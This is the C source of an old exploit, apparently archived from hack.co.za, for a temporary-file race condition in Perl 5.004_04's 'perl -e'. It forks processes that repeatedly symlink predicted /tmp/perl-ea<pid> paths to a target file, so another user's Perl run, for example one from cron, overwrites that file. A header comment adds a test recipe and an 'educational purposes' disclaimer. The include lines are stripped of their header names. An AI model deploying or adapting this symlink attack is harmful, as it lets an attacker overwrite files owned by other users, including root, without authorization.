/* exploit_perl-e -- exploit race condition existing in Perl as of version 5.004_04. If one knows that some user is going to execute `perl -e ...' at some time (for example, it is placed in crontab or is run from ~/.procmailrc) a standard symlink exploit is possible. This code is provided for educational purposes only and should not be run without permission from system administrator of the machine it is being run on. I have run (after `echo root > /tmp/ftpusers'): ./exploit_perl-e 5; perl -e ''; perl -e ''; perl -e ''; \ perl -e ''; perl -e ''; ls -l /tmp/ftpusers | \ awk '{if ($5 != "5") print "RACE WON"}' Copyright (C) 1998 Stanislav Shalunov */ #include #include #include #include /* File to overwrite. */ #define TARGET "/tmp/ftpusers" /* This should not be changed unless your Perl was compiled with a non-standard TMPPATH. */ #define TMPPATH "/tmp/perl-ea" /* How long to wait before stopping. */ #define RACE_DURATION 90 char mytarget[32]; /* Clean up and exit. */ void handler (sig) { unlink (mytarget); exit (0); } /* Attack `perl -e' with pid TARGET_PID. Fork a child for this purpose, return immediately. */ do_race (target_pid) int target_pid; { int pid; pid = fork (); if (pid < 0) return 0; if (pid) return 1; /* Child. */ signal (SIGALRM, handler); alarm (RACE_DURATION); sprintf (mytarget, "%s%.5d", TMPPATH, target_pid); /* fprintf (stderr, "[%d]: attacking %s\n", getpid(), mytarget); */ while (1) { symlink (TARGET, mytarget); unlink (mytarget); } } void usage (my_name) char *my_name; { fprintf (stderr, "Usage:\t%s [numchildren]\n"); exit (1); } main (argc, argv) int argc; char **argv; { int startpid, pid; int numchildren = 20; if (argc > 2) usage (argv[0]); if (argc > 1) numchildren = atoi (argv[1]); if (! numchildren) usage (argv[0]); startpid = getpid () + numchildren + 1; for (pid = startpid; pid < startpid + numchildren; pid++) do_race (pid); exit (0); } /* www.hack.co.za [2000]*/